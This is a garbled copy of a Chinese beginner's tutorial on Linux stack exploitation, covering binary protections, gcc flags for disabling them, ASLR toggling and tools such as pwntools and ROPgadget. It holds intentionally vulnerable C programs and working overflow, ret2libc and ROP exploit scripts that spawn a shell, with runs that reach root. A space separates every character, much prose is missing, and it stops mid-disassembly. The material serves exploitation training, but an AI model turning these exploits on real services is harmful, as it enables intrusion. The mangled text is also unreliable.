[15841] 2020-09-12_Linuxpwn入门学习到放弃

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-09-12_Linuxpwn入门学习到放弃 L i n u x   p w n   F r e e B u f   2 0 2 0 - 0 9 - 1 2 P W N o w n l i n u x   p w n l i n u x , u s e   a f t e r   f r e e , l i n u x l i n u x D E P A S L R c h e c k s e c l i n u x c h e c k s e c A r c h , R E L R O , S t a c k , N X P I E p i p p w n t o o l s c h e c k s e c e l f . m a c O S , l i n u x r e a d e l f b r e w   i n s t a l l   b i n u t i l s g d b p e d a c h e c k s e c C A N N A R Y ( ) / S t a c k   p r o t e c t / s h e l l c o d e c o o k i e c o o k i e c o o k i e s h e l l c o d e L i n u x c o o k i e c a n a r y / g c c 4 . 2 - f s t a c k - p r o t e c t o r - f s t a c k - p r o t e c t o r - a l l 4 . 9 - f s t a c k - p r o t e c t o r - s t r o n g 广 : F O R T I F Y / f o r i t y m e m c p y m e m s e t s t r c p y s t r n c p y s t r c a t s t r n c a t s p r i n t f s n p r i n t f v s p r i n t f v s n p r i n t f g e t s F O R T I F Y _ S O U R C E 1 1 ( g c c   - O 1 )   : g c c s t r c p y ,   m e m c p y ,   m e m s e t N X / D E P / ( D E P ) D a t a   E x e c u t i o n   P r e v e n t i o n     M i c r o s o f t   W i n d o w s   X P   S e r v i c e   P a c k   2 W i n d o w s   D E P   D E P     C P U   N X ( N o   e X e c u t e )     C P U     D E P W i n d o w s   D E P   N X N o - e X e c u t e N X D E P s h e l l c o d e C P U : W i n d o w s D E P V i s u a l   S t u d i o D E P A S L R   ( A d d r e s s   s p a c e   l a y o u t   r a n d o m i z a t i o n ) A S L R 线 L i n u x F r e e B S D W i n d o w s A S L R l i n u x 使 , L i n u x   A S L R r o o t c h e c k s e c   x x x x . s o A r c h :           a a r c h 6 4 - 6 4 - l i t t l e R E L R O :         F u l l   R E L R O S t a c k :         C a n a r y   f o u n d N X :               N X   e n a b l e d P I E :             P I E   e n a b l e d b r e w   i n s t a l l   b i n u t i l s w g e t   h t t p s : / / g i t h u b . c o m / s l i m m 6 0 9 / c h e c k s e c . s h / a r c h i v e / 2 . 1 . 0 . t a r . g z t a r   x v f   2 . 1 . 0 . t a r . g z . / c h e c k s e c . s h - 2 . 1 . 0 / c h e c k s e c   - - f i l e = x x x g d b   l e v e l 4     / / g d b - p e d a $   c h e c k s e c   C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l g c c   - o   t e s t   t e s t . c                                               / /   C a n a r y g c c   - f n o - s t a c k - p r o t e c t o r     - o   t e s t   t e s t . c   / / g c c   - f s t a c k - p r o t e c t o r           - o   t e s t   t e s t . c   / /   c h a r   g c c   - f s t a c k - p r o t e c t o r - a l l   - o   t e s t   t e s t . c   / / g c c   - o   t e s t   t e s t . c                                         / /   g c c   - D _ F O R T I F Y _ S O U R C E = 1   - o   t e s t   t e s t . c   / /   g c c   - D _ F O R T I F Y _ S O U R C E = 1     (   g c c   - o   t e s t   t e s t . c   / /   N X g c c   - z   e x e c s t a c k   - o   t e s t   t e s t . c   / /   N X g c c   - z   n o e x e c s t a c k   - o   t e s t   t e s t . c   / /   N X e c h o   0   >   / p r o c / s y s / k e r n e l / r a n d o m i z e _ v a _ s p a c e
A S L R r o o t : 0   -   1   -   m m a p s t a c k v d s o 2   -   1 h e a p R e t 2 l i b c D E P A S L R D E P 使 P I E P I C P I E R e d H a t - p i e 使 - f P I E f P I E f P I C - f P I C - f p i c ( P o s i t i o n - I n d e p e n d e n t - C o d e ) 使 使 访 访 ( G O T ) - f P I C - f p i c G O T - f P I C G O T 使 - f P I C - f P I E - f p i e - f P I C / - f p i c - f P I C - f P I E - f P I E P I E A S L R A S L R , l i b c m m a p 使 P I E + A S L R A S L R P I E P I C A S L R P I E : R E L R O ( r e a d   o n l y   r e l o c a t i o n ) E L F 使 G O T G O T G C C ,   G N U   l i n k e r G l i b c - d y n a m i c   l i n k e r r e l r o :   r e a d   o n l y   r e l o c a t i o n l i n k e r b i n a r y d y n a m i c   l i n k e r   r e l o c a t i o n , G O T . G O T G l o b a l   O f f s e t   T a b l e R E L R O   P a r t i a l   R E L R O G O T : F u l l R E L R O g o t p w n p w n t o o l s p w n t o o l s , p w n t o o l s p w n t o o l s p w n t o o l s p y t h o n p y c h a r m p y c h a r m p y c h a r m p w n p w n   T E R M = l i n u x ; T E R M I N F O = / e t c / t e r m i n f o   E m u l a t e   t e r m i n a l   i n   o u t p u t   c o o n s o o l e p w n t o o l s p y t h o n 使 e c h o   0   >   / p r o c / s y s / k e r n e l / r a n d o m i z e _ v a _ s p a c e e c h o   2   >   / p r o c / s y s / k e r n e l / r a n d o m i z e _ v a _ s p a c e g c c   - o   t e s t   t e s t . c                                   / /   P I E g c c   - f p i e   - p i e   - o   t e s t   t e s t . c           / /   P I E 1 g c c   - f P I E   - p i e   - o   t e s t   t e s t . c           / /   P I E 2 g c c   - f p i c   - o   t e s t   t e s t . c                   / /   P I C 1 P I E g c c   - f P I C   - o   t e s t   t e s t . c                   / /   P I C 2 P I E g c c   - o   t e s t   t e s t . c                             / /   P a r t i a l   R E L R O g c c   - z   n o r e l r o   - o   t e s t   t e s t . c       / /   N o   R E L R O g c c   - z   l a z y   - o   t e s t   t e s t . c             / /   P a r t i a l   R E L R O g c c   - z   n o w   - o   t e s t   t e s t . c               / /   s o c a t   T C P 4 - L I S T E N : 1 0 0 0 1 , f o r k   E X E C : . / l i n u x _ x 6 4 _ t e s t 1 p   =   r e m o t e ( ' 1 7 2 . 1 6 . 3 6 . 1 7 6 ' ,   1 0 0 0 1 )
i d a p w n t o o l s p y t h o n i d a g d b g d b 1 ) P E D A   -   P y t h o n   E x p l o i t   D e v e l o p m e n t   A s s i s t a n c e   f o r   G D B ( h t t p s : / / g i t h u b . c o m / l o n g l d / p e d a )     g i t   c l o n e h t t p s : / / g i t h u b . c o m / l o n g l d / p e d a . g i t ~ / p a n d a / p e d a   e c h o   s o u r c e   ~ / p a n d a / p e d a / p e d a . p y   > >   ~ / . g d b i n i t 2 ) G D B   E n h a n c e d   F e a t u r e s ( h t t p s : / / g i t h u b . c o m / h u g s y / g e f )   p e d a ( A R M ,   M I P S ,   P O W E R P C ) , i d a 3 ) l i b h e a p ( )   p i p 3   i n s t a l l   l i b h e a p   v e r b o s e E D B E D B   w i n O l l y d b g l l d b v o l t r o n   &   l i s a u i v o l t r o n t m u x :   u b u n t u   1 4 . 1 6 _ x 6 4 1 . . . r a w _ i n p u t ( )   #   f o r   d e b u g . . . p . i n t e r a c t i v e ( ) # ! / u s r / b i n / p y t h o n #   - * -   c o d i n g :   U T F - 8   - * - i m p o r t   p w n . . . #   G e t   P I D ( s )   o f   t a r g e t .   T h e   r e t u r n e d   P I D ( s )   d e p e n d s   o n   t h e   t y p e   o f   t a r g e t : m _ p i d = p w n . p r o c . p i d o f ( p ) [ 0 ] p r i n t ( " a t t a c h   % d "   %   m _ p i d ) p w n . g d b . a t t a c h ( m _ p i d )   #   g d b g d b n p y t h o n e n t e r ( ) p r i n t ( " n # # # # # # # # # # s e n d i n g   p a y l o a d # # # # # # # # # # n " ) p . s e n d ( p a y l o a d ) p w n . p a u s e ( ) p . i n t e r a c t i v e ( )
: C A N A R Y p a t t e r n . p y l l d b   1 3 6 + r e t _ a d d r e s s   c a l l s y s t e m   c a l l s y s t e m _ p w n t o o l s p y t h o n 便 # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > v o i d   c a l l s y s t e m ( ) {   s y s t e m ( " / b i n / s h " ) ;   } v o i d   v u l n e r a b l e _ f u n c t i o n ( )   {         c h a r   b u f [ 1 2 8 ] ;         r e a d ( S T D I N _ F I L E N O ,   b u f ,   5 1 2 ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r * *   a r g v )   {         w r i t e ( S T D O U T _ F I L E N O ,   " H e l l o ,   W o r l d n " ,   1 3 ) ; / /   / d e v / s t d i n         f d / 0 / /   / d e v / s t d o u t       f d / 1 / /   / d e v / s t d e r r       f d / 2         v u l n e r a b l e _ f u n c t i o n ( ) ; } # ! b a s h g c c   - f n o - s t a c k - p r o t e c t o r   l i n u x _ x 6 4 _ t e s t 1 . c   - o   l i n u x _ x 6 4 _ t e s t 1   - l d l   / / g d b - p e d a $   c h e c k s e c   l i n u x _ x 6 4 _ t e s t 1 C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l p y t h o n 2   p a t t e r n . p y   c r e a t e   1 5 0 A a 0 A a 1 A a 2 A a 3 A a 4 A a 5 A a 6 A a 7 A a 8 A a 9 A b 0 A b 1 A b 2 A b 3 A b 4 A b 5 A b 6 A b 7 A b 8 A b 9 A c 0 A c 1 A c 2 A c 3 A c 4 A c 5 A c 6 A c 7 A c 8 A c 9 A d 0 A d 1 A d 2 A d 3 A d 4 A d 5 A d 6 A d 7 A d 8 A d 9 A e 0 A e 1 A e 2 A e 3 A e 4 A e 5 A e 6 A e 7 A e 8 A e 9 p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   l l d b   l i n u x _ x 6 4 _ t e s t 1 ( l l d b )   t a r g e t   c r e a t e   " l i n u x _ x 6 4 _ t e s t 1 " C u r r e n t   e x e c u t a b l e   s e t   t o   ' l i n u x _ x 6 4 _ t e s t 1 '   ( x 8 6 _ 6 4 ) . ( l l d b )   r u n P r o c e s s   1 1 7 3 6 0   l a u n c h e d :   ' / h o m e / p a n d a / D e s k t o p / t e s t / l i n u x _ x 6 4 _ t e s t 1 '   ( x 8 6 _ 6 4 ) H e l l o ,   W o r l d A a 0 A a 1 A a 2 A a 3 A a 4 A a 5 A a 6 A a 7 A a 8 A a 9 A b 0 A b 1 A b 2 A b 3 A b 4 A b 5 A b 6 A b 7 A b 8 A b 9 A c 0 A c 1 A c 2 A c 3 A c 4 A c 5 A c 6 A c 7 A c 8 A c 9 A d 0 A d 1 A d 2 A d 3 A d 4 A d 5 A d 6 A d 7 A d 8 A d 9 A e 0 A e 1 A e 2 A e 3 A e 4 A e 5 A e 6 A e 7 A e 8 A e 9 P r o c e s s   1 1 7 3 6 0   s t o p p e d *   t h r e a d   # 1 :   t i d   =   1 1 7 3 6 0 ,   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 5 e 7   l i n u x _ x 6 4 _ t e s t 1 ` v u l n e r a b l e _ f u n c t i o n   +   3 2 ,   n a m e   =   ' l i n u x _ x 6 4 _ t e s t 1 ' ,   s t o p   r e a s o n   =   s i g n a l   S I G S E G V :   i n v a l i d   a d d r e s s   ( f a u l t   a d d r e s s :   0 x 0 )         f r a m e   # 0 :   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 5 e 7   l i n u x _ x 6 4 _ t e s t 1 ` v u l n e r a b l e _ f u n c t i o n   +   3 2 l i n u x _ x 6 4 _ t e s t 1 ` v u l n e r a b l e _ f u n c t i o n : - >     0 x 4 0 0 5 e 7   < + 3 2 > :   r e t q l i n u x _ x 6 4 _ t e s t 1 ` m a i n :         0 x 4 0 0 5 e 8   < + 0 > :     p u s h q     % r b p         0 x 4 0 0 5 e 9   < + 1 > :     m o v q       % r s p ,   % r b p         0 x 4 0 0 5 e c   < + 4 > :     s u b q       $ 0 x 1 0 ,   % r s p ( l l d b )   x / x g   $ r s p 0 x 7 f f f f f f f d d 5 8 :   0 x 3 7 6 5 4 1 3 6 6 5 4 1 3 5 6 5 p y t h o n 2   p a t t e r n . p y   o f f s e t   0 x 3 7 6 5 4 1 3 6 6 5 4 1 3 5 6 5 h e x   p a t t e r n   d e c o d e d   a s :   e 5 A e 6 A e 7 1 3 6 p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   n m   l i n u x _ x 6 4 _ t e s t 1 | g r e p   c a l l 0 0 0 0 0 0 0 0 0 0 4 0 0 5 b 6   T   c a l l s y s t e m i m p o r t   p w n #   p   =   p w n . p r o c e s s ( " . / l i n u x _ x 6 4 _ t e s t 1 " ) p   =   r e m o t e ( ' 1 7 2 . 1 6 . 3 6 . 1 7 4 ' ,   1 0 0 0 2 ) c a l l s y s t e m _ a d d r e s s   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 5 b 6 p a y l o a d = " A " * 1 3 6   +   p w n . p 6 4 ( c a l l s y s t e m _ a d d r e s s ) p . s e n d ( p a y l o a d )
s h e l l , r o o t 2 R O P D E P A S L R A S L R , l i b c , s y s t e m s y s t e m : A S L R , l i b c s y s t e m p . s e n d ( p a y l o a d ) p . i n t e r a c t i v e ( ) p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   p y t h o n   t e s t . p y   [ + ]   S t a r t i n g   l o c a l   p r o c e s s   ' . / l i n u x _ x 6 4 _ t e s t 1 ' :   p i d   1 1 7 4 5 5 [ * ]   S w i t c h i n g   t o   i n t e r a c t i v e   m o d e H e l l o ,   W o r l d $   w h o a m i p a n d a s o c a t   T C P 4 - L I S T E N : 1 0 0 0 1 , f o r k   E X E C : . / l i n u x _ x 6 4 _ t e s t 1 p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   p y t h o n   t e s t 2 . p y   [ + ]   O p e n i n g   c o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   o n   p o r t   1 0 0 0 1 :   D o n e [ * ]   S w i t c h i n g   t o   i n t e r a c t i v e   m o d e H e l l o ,   W o r l d $   w h o a m i p a n d a s u d o   s o c a t   T C P 4 - L I S T E N : 1 0 0 0 1 , f o r k   E X E C : . / l i n u x _ x 6 4 _ t e s t 1 p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   p y t h o n   t e s t . p y   [ + ]   O p e n i n g   c o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   o n   p o r t   1 0 0 0 1 :   D o n e [ * ]   S w i t c h i n g   t o   i n t e r a c t i v e   m o d e H e l l o ,   W o r l d $   w h o a m i r o o t # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < d l f c n . h > v o i d   s y s t e m a d d r ( ) {         v o i d *   h a n d l e   =   d l o p e n ( " l i b c . s o . 6 " ,   R T L D _ L A Z Y ) ;         p r i n t f ( " % p n " , d l s y m ( h a n d l e , " s y s t e m " ) ) ;         f f l u s h ( s t d o u t ) ; } v o i d   v u l n e r a b l e _ f u n c t i o n ( )   {         c h a r   b u f [ 1 2 8 ] ;         r e a d ( S T D I N _ F I L E N O ,   b u f ,   5 1 2 ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r * *   a r g v )   {         s y s t e m a d d r ( ) ;         w r i t e ( 1 ,   " H e l l o ,   W o r l d n " ,   1 3 ) ;         v u l n e r a b l e _ f u n c t i o n ( ) ; } # ! b a s h g c c   - f n o - s t a c k - p r o t e c t o r   l i n u x _ x 6 4 _ t e s t 2 . c   - o   l i n u x _ x 6 4 _ t e s t 2   - l d l   / / g d b - p e d a $   c h e c k s e c   l i n u x _ x 6 4 _ t e s t 2 C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   . / l i n u x _ x 6 4 _ t e s t 2   0 x 7 f 9 d 7 d 7 1 a 3 9 0 H e l l o ,   W o r l d p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   . / l i n u x _ x 6 4 _ t e s t 2   0 x 7 f a 8 4 d c 3 d 3 9 0 H e l l o ,   W o r l d
R O P R O P R e t u r n - o r i e n t e d   p r o g r a m m i n g , D E P R O P s y s t e m ( / b i n / s h ) / b i n / s h s y s t e m x 6 4 g a d g e t : a s l r g a d g e t R O P g a d g e t   p o p   r e t   0 x 0 0 0 0 0 0 0 0 0 0 0 2 1 1 0 2   / b i n / s h   g a d g e t s   v e r s i o n 1 v e r s i o n 2 p o p   r d i     / /   r d i = " / b i n / s h " r e t             / /   c a l l   s y s t e m _ a d d r p o p   r d i     / /   r d i = " / b i n / s h " p o p   r a x     / /   r a x =   s y s t e m _ a d d r c a l l   r a x   / /   c a l l   s y s t e m _ a d d r p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   R O P g a d g e t   - - b i n a r y   l i n u x _ x 6 4 _ t e s t 2   - - o n l y   " p o p | s r e t " G a d g e t s   i n f o r m a t i o n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = U n i q u e   g a d g e t s   f o u n d :   0 p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   l d d   l i n u x _ x 6 4 _ t e s t 2         l i n u x - v d s o . s o . 1   = >     ( 0 x 0 0 0 0 7 f f e a e 9 e c 0 0 0 )         l i b d l . s o . 2   = >   / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b d l . s o . 2   ( 0 x 0 0 0 0 7 f d c 0 5 3 1 f 0 0 0 )         l i b c . s o . 6   = >   / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o . 6   ( 0 x 0 0 0 0 7 f d c 0 4 f 5 5 0 0 0 )         / l i b 6 4 / l d - l i n u x - x 8 6 - 6 4 . s o . 2   ( 0 x 0 0 0 0 7 f d c 0 5 5 2 3 0 0 0 ) p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   R O P g a d g e t   - - b i n a r y   / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o . 6   - - o n l y   " p o p | r e t "   | g r e p   r d i 0 x 0 0 0 0 0 0 0 0 0 0 0 2 0 2 5 6   :   p o p   r d i   ;   p o p   r b p   ;   r e t 0 x 0 0 0 0 0 0 0 0 0 0 0 2 1 1 0 2   :   p o p   r d i   ;   r e t p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   R O P g a d g e t   - - b i n a r y   / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o . 6   - - s t r i n g   " / b i n / s h " S t r i n g s   i n f o r m a t i o n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 0 x 0 0 0 0 0 0 0 0 0 0 1 8 c d 5 7   :   / b i n / s h # ! / u s r / b i n / p y t h o n #   - * -   c o d i n g :   U T F - 8   - * - i m p o r t   p w n l i b c   =   p w n . E L F ( " . / l i b c . s o . 6 " ) #   p   =   p w n . p r o c e s s ( " . / l i n u x _ x 6 4 _ t e s t 2 " ) p   =   p w n . r e m o t e ( " 1 2 7 . 0 . 0 . 1 " , 1 0 0 0 1 ) s y s t e m a _ a d d r _ s t r   =   p . r e c v u n t i l ( " n " ) s y s t e m a _ a d d r   =   i n t ( s y s t e m a _ a d d r _ s t r , 1 6 )     #   n o w   s y s t e m   a d d r b i n s h _ s t a t i c   =   0 x 0 0 0 0 0 0 0 0 0 0 1 8 c d 5 7 b i n s h 2 _ s t a t i c   =   n e x t ( l i b c . s e a r c h ( " / b i n / s h " ) ) p r i n t ( " b i n s h _ s t a t i c       =   0 x % x "   %   b i n s h _ s t a t i c ) p r i n t ( " b i n s h 2 _ s t a t i c     =   0 x % x "   %   b i n s h 2 _ s t a t i c ) b i n s h _ o f f s e t   =   b i n s h 2 _ s t a t i c   -   l i b c . s y m b o l s [ " s y s t e m " ]   #   o f f s e t   =   s t a t i c 1   -   s t a t i c 2 p r i n t ( " b i n s h _ o f f s e t       =   0 x % x "   %   b i n s h _ o f f s e t ) b i n s h _ a d d r   =   b i n s h _ o f f s e t   +   s y s t e m a _ a d d r p r i n t ( " b i n s h _ a d d r           =   0 x % x "   %   b i n s h _ a d d r ) #   v e r s i o n 1 #   p o p _ r e t _ s t a t i c   =   0 x 0 0 0 0 0 0 0 0 0 0 0 2 1 1 0 2   #   p o p   r d i   ;   r e t #   p o p _ r e t _ o f f s e t   =   p o p _ r e t _ s t a t i c   -   l i b c . s y m b o l s [ " s y s t e m " ] #   p r i n t ( " p o p _ r e t _ o f f s e t   =   0 x % x "   %   p o p _ r e t _ o f f s e t ) #   p o p _ r e t _ a d d r   =   p o p _ r e t _ o f f s e t   +   s y s t e m a _ a d d r #   p r i n t ( " p o p _ r e t _ a d d r       =   0 x % x "   %   p o p _ r e t _ a d d r ) #   p a y l o a d = " A " * 1 3 6   + p w n . p 6 4 ( p o p _ r e t _ a d d r ) + p w n . p 6 4 ( b i n s h _ a d d r ) + p w n . p 6 4 ( s y s t e m a _ a d d r ) #   b i n s h _ a d d r                   x 6 4   r d i #   s y s t e m a _ a d d r        
: 3 . b s s ( h e a p ) ( s t a c k ) B S S ( d a t a ) ( c o d e   / t e x t ) B S S B S S b s s   s e g m e n t d a t a   s e g m e n t c o d e   s e g m e n t / t e x t   s e g m e n t ,   h e a p m a l l o c f r e e ( s t a c k ) 便 / #   s y s t e m a _ a d d r         #   v e r s i o n 2 p o p _ p o p _ c a l l _ s t a t i c   =   0 x 0 0 0 0 0 0 0 0 0 0 1 0 7 4 1 9   #     p o p   r a x   ;   p o p   r d i   ;   c a l l   r a x p o p _ p o p _ c a l l _ o f f s e t   =   p o p _ p o p _ c a l l _ s t a t i c   -   l i b c . s y m b o l s [ " s y s t e m " ] p r i n t ( " p o p _ p o p _ c a l l _ o f f s e t   =   0 x % x "   %   p o p _ p o p _ c a l l _ o f f s e t ) p o p _ p o p _ c a l l _ a d d r   =   p o p _ p o p _ c a l l _ o f f s e t   +   s y s t e m a _ a d d r p r i n t ( " p o p _ p o p _ c a l l _ a d d r         =   0 x % x "   %   p o p _ p o p _ c a l l _ a d d r ) p a y l o a d = " A " * 1 3 6   + p w n . p 6 4 ( p o p _ p o p _ c a l l _ a d d r ) + p w n . p 6 4 ( s y s t e m a _ a d d r ) + p w n . p 6 4 ( b i n s h _ a d d r ) #   s y s t e m a _ a d d r                   p o p   r a x #   b i n s h _ a d d r                       p o p   r d i p r i n t ( " n # # # # # # # # # # s e n d i n g   p a y l o a d # # # # # # # # # # n " ) p . s e n d ( p a y l o a d ) p . i n t e r a c t i v e ( ) p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   p y t h o n   t e s t 2 . p y   [ * ]   ' / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o . 6 '         A r c h :           a m d 6 4 - 6 4 - l i t t l e         R E L R O :         P a r t i a l   R E L R O         S t a c k :         C a n a r y   f o u n d         N X :               N X   e n a b l e d         P I E :             P I E   e n a b l e d [ + ]   S t a r t i n g   l o c a l   p r o c e s s   ' . / l i n u x _ x 6 4 _ t e s t 2 ' :   p i d   1 1 8 8 8 9 b i n s h _ s t a t i c       =   0 x 1 8 c d 5 7 b i n s h 2 _ s t a t i c     =   0 x 1 8 c d 5 7 b i n s h _ o f f s e t       =   0 x 1 4 7 9 c 7 b i n s h _ a d d r           =   0 x 7 f c 3 0 1 8 f f d 5 7 p o p _ r e t _ o f f s e t   =   0 x - 2 4 2 8 e p o p _ r e t _ a d d r       =   0 x 7 f c 3 0 1 7 9 4 1 0 2 # # # # # # # # # # s e n d i n g   p a y l o a d # # # # # # # # # # [ * ]   S w i t c h i n g   t o   i n t e r a c t i v e   m o d e H e l l o ,   W o r l d $   w h o a m i p a n d a # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < u n i s t d . h > v o i d   v u l n e r a b l e _ f u n c t i o n ( )   {         c h a r   b u f [ 1 2 8 ] ;         r e a d ( S T D I N _ F I L E N O ,   b u f ,   5 1 2 ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r * *   a r g v )   {         w r i t e ( S T D O U T _ F I L E N O ,   " H e l l o ,   W o r l d n " ,   1 3 ) ;         v u l n e r a b l e _ f u n c t i o n ( ) ; } g c c   - f n o - s t a c k - p r o t e c t o r   l i n u x _ x 6 4 _ t e s t 3 . c   - o   l i n u x _ x 6 4 _ t e s t 3   - l d l   / / g d b - p e d a $   c h e c k s e c   l i n u x _ x 6 4 _ t e s t 3 C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l g d b - p e d a $   q u i t
. b s s . b s s N a m e T y p e A d d r O f f S i z e E S F l g L k I n f A l g a d g e t   _ _ l i b c _ c s u _ i n i t   P I E . : 1 .   w r i t e g o t _ s y s t e m g o t _ w r i t e g o t 便 g o t _ s y s t e m     l i b c - 2 . 2 3 . s o ! w r i t e   g o t _ s y s t e m   p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   r e a d e l f   - S   l i n u x _ x 6 4 _ t e s t 3 T h e r e   a r e   3 1   s e c t i o n   h e a d e r s ,   s t a r t i n g   a t   o f f s e t   0 x 1 a 4 8 : S e c t i o n   H e a d e r s :     [ N r ]   N a m e                             T y p e                           A d d r e s s                       O f f s e t               S i z e                             E n t S i z e                     F l a g s     L i n k     I n f o     A l i g n     [ 2 4 ]   . g o t . p l t                     P R O G B I T S                   0 0 0 0 0 0 0 0 0 0 6 0 1 0 0 0     0 0 0 0 1 0 0 0               0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8     W A               0           0           8     [ 2 5 ]   . d a t a                           P R O G B I T S                   0 0 0 0 0 0 0 0 0 0 6 0 1 0 3 0     0 0 0 0 1 0 3 0               0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     W A               0           0           8     [ 2 6 ]   . b s s                             N O B I T S                       0 0 0 0 0 0 0 0 0 0 6 0 1 0 4 0     0 0 0 0 1 0 4 0               0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     W A               0           0           1 K e y   t o   F l a g s :     W   ( w r i t e ) ,   A   ( a l l o c ) ,   X   ( e x e c u t e ) ,   M   ( m e r g e ) ,   S   ( s t r i n g s ) ,   l   ( l a r g e )     I   ( i n f o ) ,   L   ( l i n k   o r d e r ) ,   G   ( g r o u p ) ,   T   ( T L S ) ,   E   ( e x c l u d e ) ,   x   ( u n k n o w n )     O   ( e x t r a   O S   p r o c e s s i n g   r e q u i r e d )   o   ( O S   s p e c i f i c ) ,   p   ( p r o c e s s o r   s p e c i f i c ) p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   o b j d u m p   - d   l i n u x _ x 6 4 _ t e s t 3 0 0 0 0 0 0 0 0 0 0 4 0 0 5 c 0   < _ _ l i b c _ c s u _ i n i t > :     4 0 0 5 c 0 :         4 1   5 7                                         p u s h       % r 1 5     4 0 0 5 c 2 :         4 1   5 6                                         p u s h       % r 1 4     4 0 0 5 c 4 :         4 1   8 9   f f                                   m o v         % e d i , % r 1 5 d     4 0 0 5 c 7 :         4 1   5 5                                         p u s h       % r 1 3     4 0 0 5 c 9 :         4 1   5 4                                         p u s h       % r 1 2     4 0 0 5 c b :         4 c   8 d   2 5   3 e   0 8   2 0   0 0           l e a         0 x 2 0 0 8 3 e ( % r i p ) , % r 1 2                 #   6 0 0 e 1 0   < _ _ f r a m e _ d u m m y _ i n i t _ a r r a y _ e n t r y >     4 0 0 5 d 2 :         5 5                                               p u s h       % r b p     4 0 0 5 d 3 :         4 8   8 d   2 d   3 e   0 8   2 0   0 0           l e a         0 x 2 0 0 8 3 e ( % r i p ) , % r b p                 #   6 0 0 e 1 8   < _ _ i n i t _ a r r a y _ e n d >     4 0 0 5 d a :         5 3                                               p u s h       % r b x     4 0 0 5 d b :         4 9   8 9   f 6                                   m o v         % r s i , % r 1 4     4 0 0 5 d e :         4 9   8 9   d 5                                   m o v         % r d x , % r 1 3     4 0 0 5 e 1 :         4 c   2 9   e 5                                   s u b         % r 1 2 , % r b p     4 0 0 5 e 4 :         4 8   8 3   e c   0 8                             s u b         $ 0 x 8 , % r s p     4 0 0 5 e 8 :         4 8   c 1   f d   0 3                             s a r         $ 0 x 3 , % r b p     4 0 0 5 e c :         e 8   0 f   f e   f f   f f                       c a l l q     4 0 0 4 0 0   < _ i n i t >     4 0 0 5 f 1 :         4 8   8 5   e d                                   t e s t       % r b p , % r b p     4 0 0 5 f 4 :         7 4   2 0                                         j e           4 0 0 6 1 6   < _ _ l i b c _ c s u _ i n i t + 0 x 5 6 >     4 0 0 5 f 6 :         3 1   d b                                         x o r         % e b x , % e b x     4 0 0 5 f 8 :         0 f   1 f   8 4   0 0   0 0   0 0   0 0           n o p l       0 x 0 ( % r a x , % r a x , 1 )     4 0 0 5 f f :         0 0       4 0 0 6 0 0 :         4 c   8 9   e a                                   m o v         % r 1 3 , % r d x     4 0 0 6 0 3 :         4 c   8 9   f 6                                   m o v         % r 1 4 , % r s i     4 0 0 6 0 6 :         4 4   8 9   f f                                   m o v         % r 1 5 d , % e d i     4 0 0 6 0 9 :         4 1   f f   1 4   d c                             c a l l q     * ( % r 1 2 , % r b x , 8 )     4 0 0 6 0 d :         4 8   8 3   c 3   0 1                             a d d         $ 0 x 1 , % r b x     4 0 0 6 1 1 :         4 8   3 9   e b                                   c m p         % r b p , % r b x     4 0 0 6 1 4 :         7 5   e a                                         j n e         4 0 0 6 0 0   < _ _ l i b c _ c s u _ i n i t + 0 x 4 0 >     4 0 0 6 1 6 :         4 8   8 3   c 4   0 8                             a d d         $ 0 x 8 , % r s p     4 0 0 6 1 a :         5 b                                               p o p         % r b x     4 0 0 6 1 b :         5 d                                               p o p         % r b p     4 0 0 6 1 c :         4 1   5 c                                         p o p         % r 1 2     4 0 0 6 1 e :         4 1   5 d                                         p o p         % r 1 3     4 0 0 6 2 